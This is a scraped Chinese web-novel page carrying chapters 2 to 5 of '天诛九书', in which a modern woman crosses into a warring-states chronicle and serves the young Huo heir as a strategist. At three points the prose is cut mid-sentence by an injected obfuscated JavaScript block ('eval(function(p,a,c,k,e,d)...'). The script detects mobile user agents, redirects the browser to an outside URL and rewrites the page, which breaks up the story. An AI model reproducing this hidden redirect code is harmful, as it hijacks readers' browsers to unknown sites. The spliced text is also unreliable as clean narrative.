《天诛九书》 2. 大梦一场 边塞的冬日,风沙是老天爷甩下来的鞭子。即便走在不算坎坷的小路上,依旧叫人睁不开眼,看不清前路。 寒风刺的人脸颊发痒,而后又是密密麻麻的痛,周昭易仰头,看了眼太阳的方向,又低下头向前走去。 离开村落向着中原而行的三日后,她已经开始适应不了这样的天气,嗓子眼像塞了把沙子,每咽一口唾沫都疼,可如今已没有退路,只得勉力支持着,和亦玉二人轮换照料小公子,才走出这些里地去。 中原霍家,对周昭易来说,是个全然陌生的名字,却也是她们现下还能走动的唯一希望。 “……等到了霍家,我会和将军说,”亦玉抱着尚在襁褓中的霍家小公子,深一脚浅一脚地在她几步远处走着,却还硬撑笑着:“说你是我和夫人的大恩人,如果你愿意的话,以后就留在军中做事,怎样也好过一个人在乱世里飘着,没个着落。” 亦玉不知周昭易的身世,只从这几日的相处中能明白她在此世也没什么牵挂。 周昭易的手下意识摩挲过被磨得有些粗糙的佛珠。“嗯。”她听见自己应。 正说着话,只一时晃神,一只箭便破空而来,直冲抱着小公子的亦玉而去,周昭易来不及上前,只得大喊一声:“小心!” 亦玉到底是有功夫在身的,箭矢划过,她堪堪避开了要害,右肩上却顷刻间晕开一片红,闷哼一声,手中反将襁褓抱得更紧。 回头望去,一伙不似寻常山贼模样的人影影绰绰从山路两侧的林子里攻出,直冲二人而来。 还不等周昭易反应过来,亦玉已经拔出袖间匕首,将襁褓塞到了她的怀中,“快走!往哪里跑都好,只要跑到山下去,进城!” “可是……”她张了张口,想问那你呢?却又说不出来。 亦玉更大力地推了她一把,“去啊!” 即便身后喊杀声阵阵,刀剑声入耳,周昭易不敢再回头。 往前,往前跑,下山,下了山就好了。 顺着脸颊而下的早已不知是泪水还是汗水,周昭易只觉得自己的手脚都在发凉,双腿已然尽力跑到麻木,全靠一口不上不下的气吊着,不至于倒下。 襁褓中的婴儿仿佛也感觉到了此刻的情形,开始大哭起来,哭声回荡在树林间,像一张密不透风的网,勒住了她本就嗡鸣不止的听觉,让人的大脑阵阵白眩。 一炷香,周昭易觉得自己从未跑的这样快过。 已不知是不是幻觉了,她好像看见这些天无数次在梦中见过的场景——插着霍家旗帜的一队兵马正朝这边跑来。 “小公子在——”她第一次学着亦玉去称呼这个孩子,将他举过头顶。 下一瞬,后心传来一阵冲击性的剧痛,鲜血溅染在怀中婴儿的襁褓上,半支箭矢从她胸前刺出,带的她整个人面朝下地直直摔倒在草地上。 —— 睁开眼,周昭易猛地坐起身,大口地喘着气。 空调的嗡鸣声还在耳畔响着,室内的温度一如既往恒定在二十六度,身上睡衣柔软贴肤的质感让她有片刻的愣怔。 那些让人眯起双眼的风沙,刺骨难耐的严寒,扎的人日日睡不好觉的粗布衣服,好像真的只是一个梦境,一睁眼便随着痛苦消失的无影无踪。 周昭易伸手去摸自己的心口,干干净净,睡衣完好地贴在自己身上,一丝血迹也没有,只有心头的余悸还一下下随着心跳跳动着,搅的人缓不过神。 一场幻梦,或许是梦魇,或许是今日兼职打工时劳累过度导致的幻觉。 ……可她的右手上怎么会挂着那串佛珠? 手腕触及那温吞中带着些破损的木质质感时,她几乎是从床上跳了起来,触电一样就要将佛珠急急的脱下丢开,只想着离梦中的一切越远越好。 可鬼使神差地,霍夫人死前那双温柔的眼睛却浮现在她的脑海里,叫她抓着珠串的手怎么也摔不下去了。 日子总要一天天过去的。 她没丢掉佛珠,但也不敢再带在身上,只放在卧室书桌旁最靠下的那间抽屉里,上了锁,再不拿出来。 “你这几天怎么魂不守舍的?” 兼职书店的店长正如往常坐在店内靠窗的位置,见周昭易又将书放错了地方,微皱着眉问她。 她自知理亏,低头去收拾放错的书,解释:“近日没睡好。” “……说话也变得文邹邹的。” 店长不咸不淡地瞥了她一眼,似乎只是随口一说,却吓得周昭易混身一个激灵,手中刚拿着的书险些又掉了下去。 她握着书脊的手紧了些,笑着敷衍了过去:“可能读小说读多了。”回过头去,背后已经全是冷汗。 现世早已入春,傍晚却还是微凉的天气,吹的人不得不加件外衣。 周昭易手中抱着一箱店内换下来的书,用肩膀推开了家门。 听着屋内电器运作的一丁点声响,倒是让人不自觉地松懈下来,她靠着门板,连鞋也懒得换去,滑坐到了地板上 回到现实的每一天晚上,她都在重复地做着同一个噩梦。 梦里,周昭易像是一缕幽魂,飘在空中。霍夫人泪眼婆娑,戴着那串现在被她压在抽屉最里的佛珠,一遍遍在佛像前叩拜,直到额前见红。 “求佛祖垂怜,求佛祖保佑……我儿平安……”她口中不停念着,翻来覆去都是为了那个小公子在祈福。 第一夜,第三夜,第五夜,这个梦境不肯放过她。 书店的工作是兼职,少做一天就少赚一天的钱,可到了第七日,她实在撑不住了,和店长告假便提前回了家。 周昭易回到家,把它们随手丢在书桌上,倒头便睡。这一次,梦里难得地没有霍夫人,只是她的身子依旧轻飘飘的,像没了线的风筝,随时就要飞走似的。 眼前只有一片白茫茫的雾,雾中有一个声音,很轻,很远,像从水的另一端传来—— “昭易姐……昭易姐……” 是亦玉的声音。周昭易猛地惊醒,浑身冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415976|200756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汗。 窗外的天已经黑了,她不知道自己睡了多久。空调的嗡鸣声照旧响着,一切如常——除了书桌上那摞店长给她去处理的,从书店的仓库中带回来的旧书,有一本不知何时滑落在地,摊开了。 书中的文字就这样仰面朝上,她下意识弯腰去捡书,目光却落在了那本书书脊烫金的名字上,不由得死死定住。 《天诛·卷一》 在异世的日子里,她只听亦玉在她们初识的夜晚说起过这个名字:“那是天诛二年时了,夫人带着我到了霍家……” 她的呼吸骤地急促起来,顾不及膝盖磕到冰冷的木地板上,跪下去一把捞起这书,立刻往前翻。 天诛十年,端木氏盘踞西北。 天诛九年,霍氏平定北境,封镇北大将军。 天诛八年…… 她的手指一路往上划,终于找到了一行小字: “天诛七年春,霍将军原配夫人柳桁,于西塞遭匪患,卒于途。追封淑人。” 就这一行。 周昭易盯着那一行字,眼睛瞪得发酸,几乎不敢相信。 柳桁。原来霍夫人姓柳。 她有过怎样的容颜,说过怎样的话,过活过怎样的短暂人生,所有这些,在这本书里,不过落得了个轻飘飘的“卒于途”三个字。 周昭易又去翻后面的卷册,疯了一样地翻,数着陌生的名字一个个从眼前掠过。 没有亦玉。 亦玉的名字,从未出现在任何一卷书中。仿佛这个人从来没有存在过。 周昭易踉跄着爬起身,撑着书桌椅去拉开了那扇抽屉。佛珠还静静地躺在那里,像是一直在等着她终于再次握住它,把它从狭小的木匣里解脱出来。 她这串佛珠握得很紧,紧到珠子上的霍字已经隐隐约约将她的掌心硌出一片红印。 她想起霍夫人温柔的眼睛,想起亦玉推她那一把时决绝的眼神,想起襁褓中那孩子凄楚的哭声 周昭易忽然觉得掌心的珠子在发烫,像有什么东西正在顺着那里一寸寸蔓延,沿她的掌纹扩散,顺着血液流向全身。 她吓了一跳,险些失手将佛珠甩了出去,可手指就像是被什么粘住了一样,怎么也甩不开。 那颗刻着霍字的佛珠正对着掌心的位置,像烛火一样忽地闪了一下。而后那光越来越亮,越来越暖,从掌心蔓延到手腕,从小臂蔓延到肩头,最后整条右臂都像泡进了温水里。 她听见自己的心跳声,一下,两下,三下——然后心跳声消失了,取而代之的,是另一个声音。 霍夫人的声音很远,像是从佛珠的木头纹路里渗出来的: “回来……” 周昭易浑身一颤,下意识想往后退。可她的脚已经踩不到地板了。台灯的光在眼前拉成一条线,然后是天花板,窗外的夜空。 她最后听见的,是那本书从手腕上滑落、砸在木地板上发出的那一声清脆的响。 闭上眼,什么都没有了。 3. 再临异世 周昭易再次睁开眼睛时,入目是一片漆黑。 她愣在原地,好一会儿才感觉到赤着的脚下踩着的是硬邦邦的冻土,耳边灌进来的是呜呜咽咽的风。 她又回来了。 周昭易颤抖着伸手去摸自己的手腕,那串佛珠还在,身上的衣服却不是旧识,摸着是很粗糙的布匹。 佛珠是温的,贴着她的手腕,隐隐传来木头上的细刺扎人的痒。 等到眼睛适应了黑暗,她隐约辨出自己正站在一条乡郊外的土路上,两边是树林和低矮的灌木丛,道路泥泞,不远处有几点火光。 火光逼近,一长串火把,像一条蜿蜒的火蛇,从远处的黑暗中缓缓游来。 火光照亮了旗帜,映照着行进的队伍,一支有军队护卫的车队,正朝着她所在的方向行进而来。 “什么人!” 恍惚间,火把的光已经扫到她的位置。周昭易下意识伸手去挡住晃眼的火光,伴着火光而来的人影在前方晃动。 马匹的鼻息声,和着车轮碾过冻土的咯吱声传了过来,伴随着几声厉喝,大概是叫她不要乱动一类的话,被风稀释掉,叫人听不太清。 待车队已到了近前,周昭易来不及反应,甚至来不及开口说一个字,就被两只铁钳一样的手按住了肩膀,膝盖被人从后面一踢,整个人扑通一声跪在了地上。脸贴着冰冷的冻土,胳膊被人反拧到背后,疼得她倒吸一口凉气。 “有刺客!”有人喊道。 “不是……我不是……”周昭易的脸被按在地上,嘴里的土腥味呛得她说不出完整的话。 火把在她周围聚拢,光亮刺得她睁不开眼。她听见有人小跑着往队伍中间去传话,四周的士兵将她团团围住。 然后是一个声音。 很轻,很淡,从队伍的中段的马车上传来。不是喊出来的,只是平常说话的音量,可那个声音一出来,四周所有的嘈杂都安静了。 “阿福,”那人的年纪听起来不大,声音中却有着一种超出同龄人的冷静:“把人带过来。” 周昭易抬起头,方才离得远看不清,现在走到近前才发现,这顶车轿不是八抬大轿,而是一辆四面敞开的步辇。 四根立柱撑起一个遮风的顶盖,四周垂着厚重的毡帘,毡帘半掀着。步辇上坐着一个人,面容在火把的映照下影影绰绰显出轮廓来。 一个看起来约莫十一二岁的小孩。 那孩子身上穿着一件墨色的披风,披风底下是暗纹织锦的袍服,领口处露出一圈白色的毛领,衬得他的脸愈发苍白。火把的光映在他脸上,五官轮廓清晰得像刀刻出来的。眉骨高,鼻梁直,嘴唇抿成一条线,一双大眼睛黑沉沉的,像是深冬的潭水,看不见底。 他的面上没有表情,平静的让人发冷。风从他的身后灌过来,吹得他的披风猎猎作响,可他坐在那里纹丝不动,连眼睛都没有眨一下。 “谁派你来的?”他又问。 “少主。”那个被他叫做阿福的人看着也不过二十的年纪,这时便带被士兵压着的周昭易走到他身边,低声道:“还有四里地,我们就能回到霍家的领地了。” 霍家,少主? 周昭易跪在尘土里,仰头看着他,忽然觉得嗓子发紧。 这个孩子,这个孩子是—— “问你话呢!”按住她的士兵又往下一压,她的脸险些再次埋进土里。 “我不是刺客!”她大声喊出来:“少主,我认识你母亲!” 四周安静了一瞬。 步辇上的孩子没有动,甚至依旧连一个看得出情绪的表情都没有,他那对黑沉沉的眼睛只微微眯了一下。 “先夫人的名讳。”他开口了,声音不大,却清清楚楚。 周昭易愣了一瞬,脑子里飞快地转。名讳?她想起书上唯一提起霍夫人的那行字:“……柳桁。” 她忽然想到手上正戴着的这串佛珠,忙取了下来。 “这是你母亲的!”她挣脱了不敢再用力的士兵,将佛珠递上去,说,“你大可以找人认,看看这是不是霍家的东西。” 霍少主还未说话,已经立刻有人来上前小心接走了那串佛珠,递了过去。 他垂下眼,将佛珠在掌中转了一圈。 “叫什么名字?” “周昭易,”她还未缓过神,胸口的心跳震得厉害,随口扯了个谎“我是先夫人的远房妹妹,听说她生前曾在霍家,才来投靠。” “家人呢?” “家没了,逃难来的。”这也算不上说谎,她的家确实不在这里。 步辇上的孩子看了她一眼,那视线分明没什么温度,却像一把薄而利的刃。 “军中不留闲人,你要告诉我,我为什么留下你。” 周昭易攥着的手紧了些:“我可以做您的谋士。” “谋士?”霍少主笑了下,转念不知又想到了什么,沉默了片刻,挥了挥手,“先将她带在队末,派人看着。” 周昭易闻言,总算松了口气,连忙开口:“谢少主!” —— 车队行进的不慢,不过半个时辰便回到了城内。 这还是周昭易第一次走进此世的城池。虽是乱世,霍家的领地却看不出几分战乱留下的痕迹,城内富饶,街边来往的人群熙攘,车队要向前进,还需士兵在前开路。 待车马停稳在挂着霍府牌匾的门前,霍少主从车上由人搀扶着步下,看向她:“你跟我来。” 周昭易不敢耽搁,立刻过去跟在他身后,进了霍府大门。 绕过门前的影壁,便是外院,视野豁然开朗,前院铺着大块的青石板,石缝里长着枯黄的草,几棵老槐树种在两侧,枝干虬结,叶子落了大半,剩几片黄的挂在梢头,风一吹就簌簌地响。青砖石墙,倒不是她印象中大家门户的装潢华丽。 正堂坐北朝南,飞檐翘角,门扇大开着,能看见里面一张长案,案后一把太师椅,墙上挂着一幅山水画,画的一片荒原,笔墨萧索。 霍少主坐到椅上,摊开放在桌案一角的一张舆图,抬眼看她:“你说你能做谋士,那便说说你对天下局势的看法。” 周昭易站在桌案前,走路走得脚踝还在酸痛,手里却渗出一层细密的汗珠,她不敢怠慢,拼命在脑海里回想书中的内容。共九册书的编年史,她只来得及读了一卷,而现在应是天诛十九年,约摸到一卷前一半的位置。 “我不是神仙,算不了太远的命。”她说,“但我可以说说我能料到的。” 霍少主用手点了点舆图,示意她继续说下去。 周昭易往前挪了半步,低头去看那张舆图。山川河流标注得极细,四方的势力用黑色的墨线勾出大致边界——东北嬴氏,中原霍家,东南范氏,西南端木氏。四股势力犬牙交错,像四条缠在一起的蛇。 “嬴氏虽兵力强盛,盘踞北方,可东北苦寒,产粮有限,若与他们相争,只需拖久战线便可,因而现下不足为惧。西南地形险峻,易守难攻,加之端木氏一向避战不兴,人马占据西南的时间又长,一时也不是能够撼动的。” 她顿了顿,手指移向东南:“范氏是大忌,东南富庶,虽一时兵马不足,可假以时日,必定构成威胁。且范氏与霍家的接壤处恰是平原,若要开战,我们不占优势。而我们一旦与现在正蠢蠢欲动的嬴氏开战,他们便可坐收渔翁之利,左右夹击。” 霍少主看着她,眼中闪过一丝极淡的讶异,他沉吟片刻,问:“依你的看法,霍家当如何?” “霍家三面接壤,必不可同时与三家交恶,需得趁尚占兵马优势,与端木氏或嬴氏往来,率先解决范氏。”周昭易拱了拱手。 霍少主没有追问。他低下头,看着舆图,半晌才开口:“你先下去吧,阿福会带你去住处。” 周昭易连忙点头谢过,如蒙大赦般跟着候在一旁的阿福向殿外走去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415977|200756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 待走出段距离,她这才有功夫低声问:“敢问先生,我这是被少主认可了吗?” 阿福被吓了一跳,连忙摆手:“不敢当不敢当!姑娘叫我阿福就行了,我目不识丁,实在担不起先生二字。”他想了想,也压低声音,“少主心思我不敢揣摩,不过见他的态度,应是八九不离十了。府上幕僚不多,如今正是缺谋士的时候。” 她这才略微安下心来,长出了口气:“真是万幸,多谢你。” 阿福一路将周昭易引至偏院,将她带到一间空着的客房前,“您暂且在这安住下来,偏院虽看着有些冷清,可霍府在用度吃食上绝不会苛待,您大可放心。” 周昭易又是道谢。 待阿福离开,她这才有时间打量起这间小院。确实如阿福所说,略有些老旧冷清了,相邻的几间院中都没什么烟火气,看着都不像有人常住的样子。 可她没什么不满意或想挑拣的,在这里的日子,只当出门住酒店了。 至少如今,她总算在此世有个去处。 —— 已是亥时,少年却叩响了霍家的书房门扉。 “霍嗣?”开门的是一个年幼的稚童,个头比他还要矮上些许,似是很惊喜于见到他:“你这便回来了?将军就在书房呢。” 霍嗣点点头,“玉明,我有事同父亲讲。” 这孩子于是很识趣,笑着说道:“那我先出去了。” 霍父坐在桌案后,桌上正是几卷他近来在读的兵书,听到声音,才抬头看向他,却没说话。霍嗣撩起衣袍,跪下行了一礼:“孩儿回来了。”他这才挥挥手让他站起来。 “你如今也是可以独自远行的人了,日后不必再行大礼。” 霍嗣闻言愣了下,而后才应是。 霍父合上卷轴,又指了指桌前的木椅:“坐吧。”霍嗣依言坐下。 “我听玉明说了,你今日收了个女子做幕僚,还是你母亲的表亲。”他讲话的声音很平,听不出喜怒。 “是。”霍嗣同样没什么表情,他答,不卑不亢,“她对今日时局颇有见解,又想着到底是血亲,有着缘分,便暂且留下了。 霍父点点头,没再多说:“可查过底细了?” 霍嗣垂眼,下意识握紧了下袖中那串还在自己手中的佛珠:“已派人去查了。” “今时非比往日,你也该长大,就算再思念你母亲 ,也要切记莫行妇人之仁。” 霍嗣的动作一顿,眼睫颤了颤,却又很快说道:“孩儿明白。” 霍父未回话,屋内的气氛沉默了片刻,半柱香后,他摆摆手,霍嗣便拱手退下了。 出了书房,玉明又迎了上来,他笑着问:“怎么,将军没说你什么吧?” 霍嗣摇了摇头,抬脚往自己院中走,走了几步,又忽然停下来。 “玉明,替我把这串佛珠还给今日来府上的那位幕僚,若不晓得是谁,便去问阿福。” 玉明接过佛珠,虽有些摸不着头脑,但也没有多问:“好,我去找她。” 霍嗣点点头:“还有,让她明日卯时到校场来。” “校场?”玉明这下愣了片刻,但他也不敢多嘴,只好再应下:“是。” 霍嗣没有再说话,抬脚消失在廊道的转角处,只留玉明一个人站在院中。 他嘀咕了两句,转身回到书房去了。 霍父依旧坐在桌案前,面色却不如方才那般镇定,他合着眼,面上有些疲惫。玉明见状赶忙上前煮茶倒水。 “将军可是累了?您早些歇息吧。”他小心端来一杯茶水,霍父拿起饮下,却也只是摇头。 “军中事务未尽,怎可歇下?” 他叹了口气,身上头痛更甚,可也无法,只得伸手揉了揉眉心。 满月高悬,又是叫人思念起故人的日子。 花开花落这些年,阿桁,我只觉得还是如此对不住你和嗣儿。 4. 我心匪石 才是在霍家住下的第二天,霍嗣的属下就找了过来,是个面上笑嘻嘻的小孩,看着年纪比他还要小些。周昭易不禁腹诽,这霍家也确实是无人可用,除了阿福,尽是些孩子跑来跑去。 “周姑娘,少主叫您去校场一趟。”他把佛珠递了过去。 周昭易忙双手去接过佛珠,戴在腕上。 “怎么是去校场?少主有说要我做什么吗?” 玉明只是摇了摇头,叫她跟自己去了便知道。 因着二人都不会骑术,一路走了些时候。 等到了校场,霍嗣已在场边桌案上坐着,见着人来,才淡淡放下手中茶盏,起身过来。 玉明小跑着迎了上去:“霍嗣,人我给你带过来了。”周昭易顺着玉明的方向过去,见他居然只是点点头,对这个有些僭越的称呼并不在意。 “学过什么功夫吗?”他问。 “没有,什么都没学过。”周昭易摇摇头。 霍嗣沉默片刻,也没多说,却看向了校场中正在练兵的士卒。 霍家的府宅不算阔气,校场却修的开阔,一片占地数十亩的方地,此时微风卷黄沙,正有百千士卒在教头带领下练兵,齐喊声阵阵,振的人耳膜隐隐作痛。 “若要做我霍家的谋士,你终有一日需要随军临阵。”他视线看向还站在原地的周昭易,神色不变,“保命的招式还是要学的。从今日起,你便和玉明一同随我习武。” 玉明闻言,倒是拍掌笑了:“这下好了,受罪的总算不止我一人。” 周昭易心中再叫苦不迭,此刻也只能答应:“是,我知道了。” 她叹口气,看了眼校场上的士卒,个个无不膀大腰圆,一嗓子喊出来土地都跟着震颤。再看看自己的身子骨,恐怕剑到了手中都要抖。 不知三国的诸葛先生可会拉弓,周瑜都督可会射箭?只怕在这方面她要险胜二位了。 出了校场,在回霍府的路上,似是看出她的怨怼,玉明解释:“少主也是好心,你不要多想。按理来讲谋士确实不必习武,可其实是想学也学不得。” “你看我,有一层伴读的身份在,才得以习武。府内只有像我们这样的身边人是有资格的,”他笑笑,“少主是心软了,要换成将军收你做的谋士,不多做吩咐,恐怕你连半年都活不过。” 周昭易说:“或许是他念及母亲的情分。” “那也是你的机缘。”玉明答。 —— 在霍府的日子眨眼过去一个月了。 生活没有一开始想象的难捱,最多也不过像回到了中学时,每日早起比较困难,其余的也就是将跑操换成了习武,大部分时间还是在读书。 周昭易自觉没摸到什么门道,可身体确实强健了不少。 玉明是个活泼好说话的主,习武时一来二去,两人也就混熟了。她这才知道玉明原先是有姓的,只是家道中落,沦落到逃难路上,被霍将军收养后便没什么人叫了。 “府内的下人大多没有姓氏,只有主子赐的名,大家这样叫也是顺口而已。”他笑了笑,“就这样叫吧!反正我的姓也没有多好听。” 两人正在霍府的院中练剑,霍嗣暂被父亲叫走,才得以偷闲。 周昭易却很坚持:“你姓什么?” “付,付诸东流的付。” “那我就叫你付玉明了。” 他愣了下,而后见周昭易仍是一副认真的表情,随即笑起来。虽不明白他在笑什么,可周昭易也跟着笑。 “好,可我还是叫你昭易姐。”笑够了,付玉明低头去拾剑。 “当然,”周昭易笑:“难不成还要叫我妹妹吗?” 正说着话,一人便闯进了院子,周昭易正下意识要站起身,却见来的人是阿福,一脸慌忙,又吓的一下子坐下了。 “怎么了?”付玉明敛了面上的笑意。 “大公子回来了!”阿福看着就要哭出来了。 大公子?周昭易细细在脑中回想,后知后觉有这么个人。霍家的大公子并非霍夫人柳桁的孩子,只是个表亲,父母早亡,却又极其早慧聪颖。霍父念及与其父犹有手足之情,加之怜惜孩子才智,便收入做了义子。 霍夫人死后他未有续弦,霍府一直也只有这位大公子和霍嗣两个孩子。 可左思右想,她是怎么也想不起大公子的名讳了,恐怕书中根本没怎么提他。 “人回来了那是喜事,你哭什么?”付玉明皱眉。 阿福哭的更厉害:“大公子在阵前受了伤,丢了一条腿,如今……如今……”他不敢再说下去。 付玉明脸上一白,立即拨开阿福往前院跑去。 转眼只剩周昭易和阿福两人留在院中,她又不认识什么大公子,一时也不知该怎样反应。看了眼付玉明离开的方向,犹豫了半晌,还是追了过去。 一路不敢耽搁,飞奔过去,却见着院内静的吓人。 那是她认识的一月以来第一次见着霍嗣哭,他趴在大公子的腿上,把头埋进自己的袖中,肩膀抽动着,哭的很小声。 大公子还坐在轮椅上,倒是看起来并不难过,伸手抚着霍嗣的头:“总归留得命在……我已经很知足了。” 付玉明立在一边,见周昭易来了,一时有些讶异,也不知能不能叫她过来。 却是大公子先看见了她,笑着伸手招她过来:“你是府里新来的?从前没有见过你,是做什么的?” 霍嗣这才止住眼泪,站起身退了半步,由付玉明扶住了他。 周昭易看了眼他:“回大公子,小人是少主的谋士。” “谋士?”大公子微微一愣,很快又笑道:“也好,小嗣也长大了,该有自己的部下了。” “所以我是少主的第一个谋士吗?”这样想着,她居然也就问出来了。 大公子笑着看向面上难得略有羞臊的霍嗣:“霍家虽是养着不少谋士,可由小嗣收进来的你却是第一位。” 那倒也怪不得他如此器重自己,恐怕除了母亲的情分也别有这一层原因在,周昭易正低头思索,转眼却对上了正死死盯着自己的霍嗣,见她看过来,他又将头扭开了。 这才是十一二岁的孩子该有的样子,好面子,又不想让人看出来。周昭易心觉想笑,目光触及大公子的那只伤腿,却又笑不出来。 “小嗣的眼光不会有错,”大公子语气温吞:“你既是他的人,也不算外人,陪我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415978|200756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说说话吧。” “是。” “你是哪里人?”大公子问。 “北方人,”她还是那套说辞,“逃难来的,家里人都没了。” “北境……”大公子重复了一遍,“是个好地方啊,只是苦寒。婶婶生前最疼的小丫头也是北方的,手上都生着冻疮。” 周昭易知道他说的是亦玉,思绪飘远了去,点点头,没想起来回话。 “你的手我瞧着却是没受过什么伤。”大公子说道,语气平静得像是平常聊天,周昭易却惊的愣了愣。 “母亲在世的时候疼人,从不让我做什么活,只会读些书。”她忙道。 霍嗣瞥了眼她,这时开口:“她除了会读书,连剑都拿不稳,如何能做的了活?” “我……”周昭易一时语塞,刚想反驳,才明白他为自己解了围,只好吃下这个哑巴亏,“少主教训的是。” 霍嗣哼了一声,不再搭话。 霍父这时带人来了院内,付玉明便拉着她的袖子,带她下去了。 “你知道大公子的名讳吗?”出了前院,周昭易问他。 付玉明点头:“霍觉非,觉悟的觉,是非的非。” “大公子人很好,待人亲切,讲话也和蔼,没什么架子。他留你说话应该没有别的意思,你不必紧张。”他安慰道。 周昭易心中苦笑,自己说了个漏洞百出的谎言,坑也得自己慢慢填:“宁愿那样倒好。” —— 霍府多了位公子,日子也没什么不同,左右她这个半吊子谋士也沾不上什么干系。霍觉非的院落在府内最东边,离正堂远,离她的住处更远,若不是刻意过去,怎么也是见不到人的。 不过付玉明常去看他,偶尔会缠着她一同去,才又见了两回,不过无论如何说不上熟悉,只能客气地讲些话。 所以霍嗣叫她去见霍觉非时,周昭易有片刻的怔愣。才一日习武结束,正是人累极了要回房中休息的时候,却被叫去见并不相熟的人,她暗自叫苦,脚上却依旧跟了过去。 一路无话,直到了院子门口。 霍嗣没有进去,却站在院门外,隔着一层屏风,看着院内霍觉非坐在轮椅上削木头的身影。“他从前不是这样的。”他忽然开口,“他骑马骑的很好,射箭也准。他说过要教我骑射,等我长大了,带我一起去打仗。” 他没有回头,周昭易看不清他的表情,只见他挥挥手,示意她自己进去。 “你进去吧,我要回校场。”说罢,他转身离开。 独自进了院,霍觉非抬起头,见是她,微微笑了一下:“来了?” “嗯。”周昭易在他身边的石凳上坐下来,“您在做什么?” “剑。”霍觉非低头看了看自己手中那奇形怪状的木头,笑着用衣袖擦了擦上面的木刺,“刚开始学,你见笑了。” 周昭易哪敢妄言:“没有,已经很了不起了。” 她想说能在失去一条腿后有这样的心态,做什么大概都会成功的,可当然是不能说出口。 霍觉非笑了笑,不置可否,只是放下了手中雕刻着的木头,看向她。 “我听玉明说,你和婶婶有着亲缘关系。” 5. 虚词诡说 周昭易下意识挺直了脊背:“……是,我是夫人的远房亲戚,也是家中人都不在了,才来投靠。” 霍觉非点点头,并未抬眼看她,换了个话题,“我曾听闻一个异邦传闻。有一小国国君曾得到一头白色神象,视为国宝。” “一日,一位织工献上一块号称穿若无物的锦缎,国君大悦,命人铺于象背。旁人纷纷赞叹,唯有侍奉神象多年的象奴一言不发。”霍觉非略一顿住,目光落在周昭易面上,盈盈笑着。 “你能猜到后面发生了什么吗?”他问。 周昭易思索片刻:“再轻的羽毛也有重量,再好的布料也做不到真正的穿若无物,那织工就算再妙语连珠,把这锦缎说的再好,披着锦缎的神象也不可能对身上的东西毫无察觉……” 这样说着,她放在膝上的右手不由得攥紧了。 “没错,”霍觉非语气淡淡,“锦缎虽美,却盖不住象身的气味,神象亦知自己背上多了异物,习惯了从前的它感到不适,多日不曾进食,最终郁郁而终。” 他笑笑,终于抬头看向一边的周昭易,此时她已是后背冷汗直冒。 “再完美的遮掩,也骗不了身边的人,小嗣命苦,从未见过婶婶一面,我却是和婶婶相熟的。我派人查过你的底细,你绝不是婶婶的亲人。况且,若她有个像你这么聪颖的堂妹,不会闭口不提的。” “……多谢大公子夸赞了。” 身上的谎被这样揭开,周昭易反而放松下来:“我确实与霍夫人曾有过一面之缘,却只是在她落难时有过相助,才得了她的赠礼。”她将手腕上的佛珠摘下,递给霍觉非。 “此事全在我一时脑热才说了谎,大公子若要告诉少主和将军,我无话可说。” 霍觉非接过佛珠,在手心捻了捻,面上少有了几分诧异。他沉默了片刻,将佛珠又还给了周昭易。 “你去吧。若真如你所说,你对霍家和小嗣都别无所求,就当行一善事了,此事我不会再提。”他叹了口气,“只是,要让我发现你今日还有谎话,或另有所谋,就休怪我无情了。” 周昭易这才卸下劲来,浑身松快,站起行了个大礼:“多谢大公子!”霍觉非笑着摆手,也就让她下去了。 等出了霍觉非的院子,她只觉得自己的腿都是软的,扶着廊道的石柱大口喘气。 真是只笑面虎!初见时她就已觉察这人的心思深沉,只是想不到霍觉非已经把自己调查到这种地步,如今她算是有着大把柄在对方手里了,只盼日后千万不要得罪他才好。 她确实是说谎了,可对霍家,她的乞求只有一个,收留她,让她不至于在此世颠沛流离。这算不算霍觉非说的求呢?她不知道。 —— 从霍觉非那处出来的几日,周昭易心中始终不安。已是四月里的时候,天气却不见暖,昭示着什么似地每日冷了下去。 “昭易姐!”付玉明小跑着来到房前找她,一手把门拍的哐哐响。 “你也好歹叫我一声姐姐,怎么能这么没有礼数?”周昭易半是好笑半是无奈地拉开房门,迎面而来的却不是付玉明平日里那张嬉笑的脸,她被这人面上的严肃唬住了,一时也静了下来。 “将军叫少主去了书房,我在门口听了几句,好像是说嬴氏来犯,要让少主带兵出征。”他语气有些急切:“少主只比我年长上一岁,独自带兵怎么能行?我已经叫大公子去劝了,眼下该怎么办?” 周昭易亦是大惊:“偷听还敢说出去,你可真够胆大!当心将军拿你是问。” 付玉明已是一副要哭出来的表情:“好姐姐,现在哪是说这个的时候,你倒是想想办法。” 